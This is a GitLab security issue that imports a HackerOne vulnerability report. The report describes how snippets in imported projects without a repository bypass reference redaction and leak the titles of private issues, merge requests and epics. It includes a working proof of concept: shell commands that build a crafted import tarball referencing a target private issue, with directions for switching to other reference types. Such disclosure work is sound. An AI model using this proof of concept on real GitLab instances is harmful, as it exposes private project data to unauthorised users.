Snippet Markup Rendering Bypasses ReferenceRedactor, Leaking Private Issue/Epic/MR/Milestone/Commit Titles and Metadata
:warning: **Please read [the process](https://gitlab.com/gitlab-org/release/docs/-/blob/master/general/security/engineer.md) on how to fix security issues before starting to work on the issue. Vulnerabilities must be fixed in a security mirror.**
**[HackerOne report #3486504](https://hackerone.com/reports/3486504)** by `go7f0` on 2026-01-04, imported by @gandrews7:
[Report](#report) | [Attachments](#attachments) | [How To Reproduce](#how-to-reproduce)
## HackerOne Analyst Summary
## Summary of the issue
The researcher has identified a vulnerability in GitLab's snippet markup rendering system where pre-rendered HTML content bypasses the ReferenceRedactorFilter security mechanism. When snippets are imported without an associated repository, the Markdown rendering process stores HTML directly in the `context[:rendered]` field, causing the `Markup::RenderingService` to skip the `PostProcessPipeline` that normally includes the `ReferenceRedactorFilter`. This filter is responsible for redacting references to private resources that users should not have access to.
> The vulnerability is specifically triggered because the `empty_repo` check in `app/controllers/concerns/snippets_actions.rb:82-88` ensures that only blobs in `empty_repo` can enter `SnippetBlob` and trigger the vulnerable rendering path.
## Steps to reproduce
1. As the **victim**, sign in **victim's** GitLab account -> Create a **private** project with a new issue, ensuring the attack user does not have access to it.


2. **Construct the malicious import package** using the following shell commands:
```shell
mkdir -p /tmp/poc/tree/project
echo "0.2.4" > /tmp/poc/VERSION
echo '{"description":"test","visibility_level":20}' > /tmp/poc/tree/project.json
echo '{"title":"test","content":"gkn901/hgh#1","file_name":"a.md","visibility_level":20,"author_id":1,"created_at":"2024-01-01T00:00:00Z","updated_at":"2024-01-01T00:00:00Z"}' > /tmp/poc/tree/project/snippets.ndjson
cd /tmp/poc && tar -czf /tmp/poc.tar.gz . && cd -
```
**Note**: Replace `gkn901/hgh` with the target project path and `#1` with the target issue ID. Other reference types can be used: `!iid` for merge requests, `&iid` for epics, `$id` for snippets.
3. As the **attacker**, sign in **attacker's** GitLab account and navigate to the project import functionality and import the `poc.tar.gz` file as a GitLab project.

4. After successful import, a project with no repository is generated. Navigate to the project's snippets section.

5. When viewing the rendered snippet and hovering over the reference link, the private issue title is displayed even though the current user has no access rights to the referenced private resource.

## Impact statement
Unauthorized disclosure of private Issue/Epic/MR titles, Milestone names, Commit messages, and metadata from any accessible group or project—affecting all reference types supported by https://docs.gitlab.com/user/markdown/#gitlab-specific-references enabling reconnaissance and potential exposure of sensitive business information, security vulnerabilities, or product roadmaps.
If you have any questions or concerns about this report, feel free to assign it to `H1 Triage` via the action picker with a comment indicating your request.
Best Regards,
@h1_analyst_mike
## Original Report
##### Summary
Snippet Markdown pre-rendering stores HTML in context[:rendered], causing Markup::RenderingService to bypass PostProcessPipeline and skip ReferenceRedactorFilter, allowing attackers to leak private Issue/Epic/MR/Milestone/Commit titles via cross-reference syntax in imported Snippets without repository.
##### Steps to reproduce
###### Scene
>To facilitate reproduction, this example only uses issue disclosure. Other types of disclosures can be provided later.
In a private project, create a new issue and ensure that the attack user does not have access to it.


##### Construct POC
Because the `empty_repo` check was performed in the `SnippetsActions#blobs` method.
```rb
### app/controllers/concerns/snippets_actions.rb:82-88
def blobs
[@]blobs ||= if snippet.empty_repo?
[snippet.blob]
else
snippet.blobs
end
end
```
Only blobs in `empty_repo` can enter SnippetBlob and thus trigger the vulnerability.
Therefore, the following command is needed to construct the malicious import package.
> Replace `gkn 901/hgh` in the fourth command with your target project, and replace `#1` with the issue ID in the target project.
> PS: If you need to test other types, `!iid` corresponds to MR, `&iid` corresponds to Epic, `$id` corresponds to Snippet, etc., please refer to https://docs.gitlab.com/user/markdown/#gitlab-specific-references
```shell
mkdir -p /tmp/poc/tree/project
echo "0.2.4" > /tmp/poc/VERSION
echo '{"description":"test","visibility_level":20}' > /tmp/poc/tree/project.json
echo '{"title":"test","content":"gkn901/hgh#1","file_name":"a.md","visibility_level":20,"author_id":1,"created_at":"2024-01-01T00:00:00Z","updated_at":"2024-01-01T00:00:00Z"}' > /tmp/poc/tree/project/snippets.ndjson
cd /tmp/poc && tar -czf /tmp/poc.tar.gz . && cd -
```
Using the attack account, import poc.tar.gz as project

After a successful import, a project with no repository will be generated.

When viewing the project's snippets and hovering the mouse over a rendered link, the page still renders the issue's title even though the current user has no access rights to `gkn901/hgh/-/issues/1`.

#### Impact
Unauthorized disclosure of private Issue/Epic/MR titles, Milestone names, Commit messages, and metadata from any accessible group or project—affecting all reference types supported by https://docs.gitlab.com/user/markdown/#gitlab-specific-references enabling reconnaissance and potential exposure of sensitive business information, security vulnerabilities, or product roadmaps.
## Attachments
**Warning:** Attachments received through HackerOne, please exercise caution!
* [__.png](https://h1.sec.gitlab.net/a/50abeeec-3ad7-469c-b9dd-f3f68263f4dc/__.png)
* [__.png](https://h1.sec.gitlab.net/a/cc444b06-8cb4-4e29-b8b3-33b4629c1a4a/__.png)
* [__.png](https://h1.sec.gitlab.net/a/c98dc2c9-18cd-479d-a9cb-3eea51bffb7b/__.png)
* [__.png](https://h1.sec.gitlab.net/a/ba8a1ef2-f5d5-483a-bc59-99f1809e0db3/__.png)
* [__.png](https://h1.sec.gitlab.net/a/1484d2bd-476f-4dac-898d-4a987634cb66/__.png)
## How To Reproduce
Please add [reproducibility information] to this section:
1.
1.
1.
[reproducibility information]: https://about.gitlab.com/handbook/engineering/security/#reproducibility-on-security-issues
issue